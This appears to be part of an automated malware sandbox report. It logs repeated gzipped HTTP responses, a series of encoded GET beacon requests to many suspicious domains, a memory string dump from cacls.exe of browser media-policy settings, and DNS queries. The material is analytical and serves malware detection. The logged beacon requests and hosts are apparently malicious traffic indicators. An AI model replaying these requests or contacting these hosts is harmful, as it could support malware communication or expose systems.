69 b8 fd 6d 0c 3c 45 c4 89 65 3c 5b c0 ef eb 1f e5 9b a8 3f 84 6b fa 58 9d 7b 10 cc 0f bd 08 7f 8a 7b 31 31 bf 23 30 04 00 00 Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 03 Dec 2024 13:56:54 GMTserver: Apacheset-cookie: __tad=1733234214.7907578; expires=Fri, 01-Dec-2034 13:56:54 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 32 1f b3 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8c f3 cb c4 a1 df 6a 0a e7 77 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 c1 52 fa e4 6e 7a 3a 7d 5b bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab cf e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc fa 08 47 60 f4 00 e2 b4 f1 5a 0c e8 e5 4a 5a 6d 5d 19 9f 35 c3 8a 21 8c 2d 6f 67 c3 e2 a1 2d 6a b5 83 21 b7 4c 6a e5 59 fd 61 0e c6 1a 5c 24 55 21 a0 75 d8 94 af 0f 71 18 87 ab a4 fa a2 f9 10 5a 74 38 4c ab 21 74 45 2e f8 0a 31 09 53 19 3b 5a 2a 3a 24 ae cd 55 2f f0 ef 56 ed ca 98 69 b8 fd 6d 0c 3c 45 c4 89 65 3c 5b c0 ef eb 1f e5 9b a8 3f 84 6b fa 58 9d 7b 10 cc 0f bd 08 7f 8a 7b 31 31 bf 23 30 04 00 00 Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 03 Dec 2024 13:56:57 GMTserver: Apacheset-cookie: __tad=1733234217.8591296; expires=Fri, 01-Dec-2034 13:56:57 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 32 1f b3 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8c f3 cb c4 a1 df 6a 0a e7 77 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 c1 52 fa e4 6e 7a 3a 7d 5b bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab cf e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc fa 08 47 60 f4 00 e2 b4 f1 5a 0c e8 e5 4a 5a 6d 5d 19 9f 35 c3 8a 21 8c 2d 6f 67 c3 e2 a1 2d 6a b5 83 21 b7 4c 6a e5 59 fd 61 0e c6 1a 5c 24 55 21 a0 75 d8 94 af 0f 71 18 87 ab a4 fa a2 f9 10 5a 74 38 4c ab 21 74 45 2e f8 0a 31 09 53 19 3b 5a 2a 3a 24 ae cd 55 2f f0 ef 56 ed ca 98 69 b8 fd 6d 0c 3c 45 c4 89 65 3c 5b c0 ef eb 1f e5 9b a8 3f 84 6b fa 58 9d 7b 10 cc 0f bd 08 7f 8a 7b 31 31 bf 23 30 04 00 00 Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Tue, 03 Dec 2024 13:57:00 GMTserver: Apacheset-cookie: __tad=1733234220.8953293; expires=Fri, 01-Dec-2034 13:57:00 GMT; Max-Age=315360000vary: Accept-Encodingcontent-encoding: gzipcontent-length: 579content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 57 6c 03 12 db 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 59 f2 24 26 69 50 e4 bf 97 72 dc 8f 75 87 56 17 5b d4 23 df 7b 34 e5 a2 a5 4e 57 51 d1 a2 a8 f9 41 8a 34 56 4b a7 e4 a6 55 5a fb cc 2b c2 22 3f 85 a3 c2 4b a7 7a 02 3a f4 58 c6 84 b7 94 af c5 4e 9c a2 31 78 27 cb 38 5f fb bc 51 66 85 ae 77 ca 50 ae 54 83 59 a7 4c b6 f6 71 55 e4 27 ec 6b a5 aa 68 27 1c 38 ac 95 43 49 7f b4 32 1b 28 21 69 89 fa 79 9e ef f7 fb ec 85 c4 7c b7 37 ef f3 cf c9 22 8a f2 1c 6e 90 40 00 a9 0e ed 96 c0 36 70 35 9b 41 a7 a4 b3 1e a5 35 b5 07 b2 80 b7 28 b7 84 0c 7c e0 01 d5 00 b5 08 cf e4 43 ef 6c a7 3c c7 84 d2 1e 1a eb c0 db 0e 39 45 78 6b a2 66 6b 24 29 6b f8 58 eb a5 90 9b eb b1 54 3a 85 bb 68 b2 57 a6 b6 fb 4c 5b 29 02 2a 73 d8 6b 21 31 fd c7 d8 79 d2 f4 e5 c5 a7 64 ba 88 8e 51 44 ee 10 32 59 a5 27 70 b5 fb 35 9a 28 c1 23 8d 9b f4 25 db bb 60 90 f3 27 a1 6b 4d ff 73 d4 5c c2 d7 27 27 df 6f 58 87 a8 d3 bb ce 1a 45 96 43 ab 79 90 ed f1 18 32 1f b3 a2 c9 24 e3 26 98 b4 e9 a1 ac b8 5a b6 42 b6 33 7d 8c f3 cb c4 a1 df 6a 0a e7 77 10 f6 23 b1 0b 3a 83 9d e4 fc 84 c8 76 ca 07 b2 6f f5 62 80 49 8d e2 c1 52 fa e4 6e 7a 3a 7d 5b bb 02 cd 90 10 74 1f 81 b1 b2 4d d1 b9 a1 e3 ff 7f 87 a1 ab cf e7 8e 0e 3c ca b0 b4 35 37 1a 02 76 e5 ec d6 d4 f3 b3 cb d9 a5 bc fa 08 47 60 f4 00 e2 b4 f1 5a 0c e8 e5 4a 5a 6d 5d 19 9f 35 c3 8a 21 8c 2d 6f 67 c3 e2 a1 2d 6a b5 83 21 b7 4c 6a e5 59 fd 61 0e c6 1a 5c 24 55 21 a0 75 d8 94 af 0f 71 18 87 ab a4 fa a2 f9 10 5a 74 38 4c ab 21 74 45 2e f8 0a 31 09 53 19 3b 5a 2a 3a 24 ae cd 55 2f f0 ef 56 ed ca 98 69 b8 fd 6d 0c 3c 45 c4 89 65 3c 5b c0 ef eb 1f e5 9b a8 3f 84 6b fa 58 9d 7b 10 cc 0f bd 08 7f 8a 7b 31 31 bf 23 30 04 00 00 Data Ascii: TMo0=pvNWl;a"Y$&iPruV[#{4NWQA4VKUZ+"?Kz:XN1x'8_QfwPTYLqU'kh'8CI2(!iy\|7"n@6p5A5(\|Cl<9Exkfk$)kXT:hWL[)sk!1ydQD2Y'p5(#%`'kMs\''oXECy2$&ZB3}jw#:vobIRnz:}[tM<57vG`ZJZm]5!-og-j!LjYa\$U!uqZt8L!tE.1S;Z:$U/Vim<Ee<[?kX{{11#0

Source: global traffic	HTTP traffic detected: GET /oz0e/?pluxVm=N0iBPOr2h1wf3hrk0fV7bCYuQaQcnemlKlX+67l0LxDwIz/NET6JyzgCPnJBSBJZztg4pX1Iwr0Nd76JZuhGak0dZt9NjSAeSo6fySf0UlwbimsbHDdeRZs=&Z1EO=OvfHeluUy HTTP/1.1Host: www.88rtp.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /o5mm/?pluxVm=52ZaOoJJHsYFYpcE8OJe6kaaR+Ibp2Nxq28CYNd7tHRxqCukViCUoHxjhmN2/g+W5SkTzZJsaEIA3pVY9O1vDv+SN/8yFpfSlnbOuEouoKz6AG71fS9yZK8=&Z1EO=OvfHeluUy HTTP/1.1Host: www.kubex.devAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /073p/?pluxVm=NsdLHLYUe9sblrm0I+Crv144tHMQQbz/4RSieCn+7DwPKByw7jhxCyJ0LTJMQHRDPlmDRdKjKllFY9ccUXh843okMet3hg+QsBhX3tP/6BR9rZiNBzb3ESI=&Z1EO=OvfHeluUy HTTP/1.1Host: www.sido247.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /dheh/?pluxVm=6JcMAOZ0kkEuPLPobYSFFslgEkquVWiK5Nqk+SkmZf4Wc9f19ayTyDiVFSf9h78jkWY5XnirO34u2f/fghaoX1igb+ZsamnQxKAe0eVMQ+zxkvaWI9vtOSA=&Z1EO=OvfHeluUy HTTP/1.1Host: www.glowups.lifeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /mdkc/?pluxVm=yWWHbhCahbG3DdaBnt9NrGvMUCSQc4g2Tqe6SUjOSsODgr6CFa5SJdyjtzT5mznodS2lvT8/GpN3gvUqymh3/8TyFQ0rIiTFrx443/jhZTAx0fULTMMcMck=&Z1EO=OvfHeluUy HTTP/1.1Host: www.epicurecooks.worldAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /og0p/?pluxVm=aYNz5vX3IaeBLII2gGf9eURLdfN+pzrBFxzqHFB0Zc0E767K5MaAH/EqLovM7A815HxojS38W68HbT3JNl21N4jIU1lh5jKS99Zmbqcxop+R6eeWU//8U3E=&Z1EO=OvfHeluUy HTTP/1.1Host: www.eichner.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqhH+dns4k5MWxqP8Bok6NcIC1536fve9u1GdSOEvFZBDrTYEySAKG7uhWgC+P8=&Z1EO=OvfHeluUy HTTP/1.1Host: www.juewucangku.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /mg8c/?pluxVm=rjBLh9a8fZJRcQu9K1C3LAtp+/ShEoEfzH3ui2xMInNHtYlxt8Nl0C2ZPsNy1cCyYgBvBEXXCVeazEdoFLasWgZ3AJaOWiiv1TsNcWo9tyTPmHKnoGX/TSk=&Z1EO=OvfHeluUy HTTP/1.1Host: www.nng83.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0= HTTP/1.1Host: www.brickhills.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /qrpv/?Z1EO=OvfHeluUy&pluxVm=WiX0LzPqOnM4b37+7/q2MnJgJJwmlCG/8poUwA5NsFkBp/VurdzYoSVVPF8rA/Ka5BkZn+mZS0ORkGe6TXFOOAiLIJoZGeMwExFXk2ddigf2T3UmxoiawIQ= HTTP/1.1Host: www.goldbracelet.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /8h0h/?pluxVm=WsdblX5oKRyaFeduXpZZBYfr3KMp+WtxHr+UJvo5A+6DW3eJEDxswcp5ZYJtgZW5p4zYKJkjyVN2mc228t1VZlr/R5LO29syDvrfnZcSIMlt6XRuzenYE6E=&Z1EO=OvfHeluUy HTTP/1.1Host: www.0be.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /1cwp/?Z1EO=OvfHeluUy&pluxVm=sIFdgnO3FyIHooXZAGWnPd64nEiNYbQbKjddbfNFYhaUQRED9832NCT0LRXwdwmN50zS64Z/ENDcZJBcOGN8yjbqMhS05UVN1tB36ILI/fWY5OM6Vh1joIo= HTTP/1.1Host: www.smartgov.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /vpwx/?pluxVm=QVDEbR6rh5hXI7Ts6cB6silFglbuflfjHrG0P1AfCwx+KCDVCLlnycIybt7pD06IHRHaJm25c0tlog+zyXtoPLPq9cOgZC1PjOnv8m1FSTaOvxyioepA8aM=&Z1EO=OvfHeluUy HTTP/1.1Host: www.hayaniya.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /7znk/?Z1EO=OvfHeluUy&pluxVm=HSNOOCSycaWbpWp1pFuTHgyNeMyGT259cyc1jurPotVrvnXLICbtqfVvbaWKwlIlASBzdIxRFAa/wDiZdCYNsQsDHbsFXQKeKhShRpSMwKmQ7kRuiU3WeuA= HTTP/1.1Host: www.dialogpriest.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /8orf/?pluxVm=yDQ89DLfYgJiEyke7+6q5gE87/fs/XemaXtjJXohmXUOdwNzAwGJy6nqls5iDTVnp9Zi+kacGLaYAX6Ad+cHYYESeoueNmRKrwXa18136rVeVa07ORWAOLw=&Z1EO=OvfHeluUy HTTP/1.1Host: www.224466.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /oz0e/?pluxVm=N0iBPOr2h1wf3hrk0fV7bCYuQaQcnemlKlX+67l0LxDwIz/NET6JyzgCPnJBSBJZztg4pX1Iwr0Nd76JZuhGak0dZt9NjSAeSo6fySf0UlwbimsbHDdeRZs=&Z1EO=OvfHeluUy HTTP/1.1Host: www.88rtp.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /o5mm/?pluxVm=52ZaOoJJHsYFYpcE8OJe6kaaR+Ibp2Nxq28CYNd7tHRxqCukViCUoHxjhmN2/g+W5SkTzZJsaEIA3pVY9O1vDv+SN/8yFpfSlnbOuEouoKz6AG71fS9yZK8=&Z1EO=OvfHeluUy HTTP/1.1Host: www.kubex.devAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /073p/?pluxVm=NsdLHLYUe9sblrm0I+Crv144tHMQQbz/4RSieCn+7DwPKByw7jhxCyJ0LTJMQHRDPlmDRdKjKllFY9ccUXh843okMet3hg+QsBhX3tP/6BR9rZiNBzb3ESI=&Z1EO=OvfHeluUy HTTP/1.1Host: www.sido247.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /dheh/?pluxVm=6JcMAOZ0kkEuPLPobYSFFslgEkquVWiK5Nqk+SkmZf4Wc9f19ayTyDiVFSf9h78jkWY5XnirO34u2f/fghaoX1igb+ZsamnQxKAe0eVMQ+zxkvaWI9vtOSA=&Z1EO=OvfHeluUy HTTP/1.1Host: www.glowups.lifeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /mdkc/?pluxVm=yWWHbhCahbG3DdaBnt9NrGvMUCSQc4g2Tqe6SUjOSsODgr6CFa5SJdyjtzT5mznodS2lvT8/GpN3gvUqymh3/8TyFQ0rIiTFrx443/jhZTAx0fULTMMcMck=&Z1EO=OvfHeluUy HTTP/1.1Host: www.epicurecooks.worldAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /og0p/?pluxVm=aYNz5vX3IaeBLII2gGf9eURLdfN+pzrBFxzqHFB0Zc0E767K5MaAH/EqLovM7A815HxojS38W68HbT3JNl21N4jIU1lh5jKS99Zmbqcxop+R6eeWU//8U3E=&Z1EO=OvfHeluUy HTTP/1.1Host: www.eichner.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /mia8/?pluxVm=lJqwuwutw0TxfZ38sJgHJ7uqXbvMJU6pA/kgjN31XYZ5TRzvlECqmYueWqhH+dns4k5MWxqP8Bok6NcIC1536fve9u1GdSOEvFZBDrTYEySAKG7uhWgC+P8=&Z1EO=OvfHeluUy HTTP/1.1Host: www.juewucangku.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /mg8c/?pluxVm=rjBLh9a8fZJRcQu9K1C3LAtp+/ShEoEfzH3ui2xMInNHtYlxt8Nl0C2ZPsNy1cCyYgBvBEXXCVeazEdoFLasWgZ3AJaOWiiv1TsNcWo9tyTPmHKnoGX/TSk=&Z1EO=OvfHeluUy HTTP/1.1Host: www.nng83.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Source: global traffic	HTTP traffic detected: GET /vwn2/?Z1EO=OvfHeluUy&pluxVm=8b9RKtQSBHH07PxtYsipjL/lqfXqYX+jQmAZaw9GROHGYV74Mu7xY5rUUGbBS35lPyHtHPQD+8VPnbju2HtxZfcyuqMzjQoAFmm58sa9OXwe8h9QCPhjB/0= HTTP/1.1Host: www.brickhills.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0

Source: cacls.exe, 00000004.00000002.182792565138.000000000821B000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: policy":"OnlyExposeWidevine","domain":"bluecurvetv.shaw.ca"},{"applied_policy":"OnlyExposeWidevine","domain":"helix.videotron.com"},{"applied_policy":"OnlyExposeWidevine","domain":"criterionchannel.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ntathome.com"},{"applied_policy":"OnlyExposeWidevine","domain":"wowpresentsplus.com"},{"applied_policy":"OnlyExposeWidevine","domain":"vhx.tv"},{"applied_policy":"OnlyExposePlayReady","domain":"hulu.com"},{"applied_policy":"OnlyExposeWidevine","domain":"app.quickhelp.com"},{"applied_policy":"OnlyExposeWidevine","domain":"DishAnywhere.com"}],"policies":[{"name":"OnlyExposePlayReady","type":"Playready"},{"name":"OnlyExposeWidevine","type":"Widevine"}],"version":1},"codec_override":{"applications":[{"applied_policy":"HideMfHevcCodec","domain":"tv.apple.com"},{"applied_policy":"HideMfHevcCodec","domain":"nintendo.com"}],"policies":[{"name":"HideMfHevcCodec","type":"MfHevcCodec"}],"version":1},"content_filter_on_off_switch":{"applications":[{"applied_policy":"ContentFilter","domain":"microsoft.com"}],"policies":[{"name":"ContentFilter"}],"version":1},"ecp_override":{"applications":[{"applied_policy":"PlainTextURLsOnly","domain":"hangouts.google.com"},{"applied_policy":"PlainTextURLsOnly","domain":"chat.google.com"},{"applied_policy":"PlainTextURLsOnly","domain":"slack.com"},{"applied_policy":"PlainTextURLsOnly","domain":"facebook.com"},{"applied_policy":"PlainTextURLsOnly","domain":"wechat.com"},{"applied_policy":"PlainTextURLsOnly","domain":"weixin.com"},{"applied_policy":"PlainTextURLsOnly","domain":"qq.com"},{"applied_policy":"PlainTextURLsOnly","domain":"webex.com"},{"applied_policy":"PlainTextURLsOnly","domain":"wordpress.com"},{"applied_policy":"PlainTextURLsOnly","domain":"twitter.com"},{"applied_policy":"PlainTextURLsOnly","domain":"discord.com"}],"policies":[{"name":"PlainTextURLsOnly","type":"ECPOnlyPlaintextURLs"}],"version":1},"idl_override":{"applications":[{"applied_policy":"ExposePrefixedEME","domain":"netflix.com"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.co.jp"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.co.uk"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.com"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.de"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.es"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.fr"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.in"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.it"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.ca"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.com.br"},{"applied_policy":"ExposePrefixedEME","domain":"sling.com"},{"applied_policy":"ExposePrefixedEME","domain":"openidconnectweb.azurewebsites.net"}],"policies":[{"name":"ExposePrefixedEME","type":"PrefixedEme"}],"version":1},"media_foundation_override":{"applications":[{"applied_policy":"OptIn","domain":"youtube.com","pat

Source: global traffic	DNS traffic detected: DNS query: www.88rtp.biz
Source: global traffic	DNS traffic detected: DNS query: www.kubex.dev
Source: global traffic	DNS traffic detected: DNS query: www.sido247.pro
Source: global traffic	DNS traffic detected: DNS query: www.glowups.life
Source: global traffic	DNS traffic detected: DNS query: www.epicurecooks.world
Source: global traffic	DNS traffic detected: DNS query: www.eichner.pro
